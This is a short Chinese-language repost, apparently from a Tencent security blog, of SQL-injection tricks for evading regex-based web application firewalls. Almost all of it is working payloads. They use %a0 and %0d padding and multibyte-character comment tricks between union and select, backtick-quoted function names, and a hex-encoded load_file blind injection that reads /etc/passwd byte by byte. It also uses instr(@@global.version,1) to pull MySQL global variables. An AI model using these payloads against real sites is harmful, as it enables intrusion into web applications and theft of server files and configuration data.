转自:https://security.tencent.com/index.php/blog/msg/66
waf报警情况:
当waf利用正则匹配检测union select类型的关键语句时报警,且/**/被过滤
过滤方法:
一、利用fuzz手段检测%a0,%0d(换行) 如:id=-1 union%a0select 1,2,
二、利用union/*%aa*/select。原本属于/*xxx*/应该是被防护了,由于中文字符的特性利用,中文字符配合注释符绕过所有规则。利用%e4等只要是中文字符开头的,就可以完成绕过检测!%a0之类的。原理,让服务器不认识union+特殊字符+select之间的部分,因此特殊字符不能构成中文被识别出来。
三、专属于MYSQL进行load_file
当敏感函数被过滤,waf又是基于正则匹配的情况下
1、version()%0b
2、`version`()利用在mysql中,`函数名`()==函数名()
绕过了函数名进行select。需要利用十六进制盲注:
id=1 and(select `load_file`(0x2f6574632f706173737764) is not null)
首先判断服务器某文件是否存在,例如用/etc/passwd文件。0x2f6574632f706173737764是/etc/passwd的十六进制格式。在判断确实存在该文件之后,可以通过:
id=1 and(select `load_file`(0x2f6574632f706173737764)>0x726f66)
根据页面返回修改大于号之后的十六进制值,从而获取到该文件的十六进制内容。
3、利用instr()进行盲注
若过滤了ascii,substr等函数,仍可以利用id=instr(@@global.version,1)来获取global变量。@@global包含很多敏感信息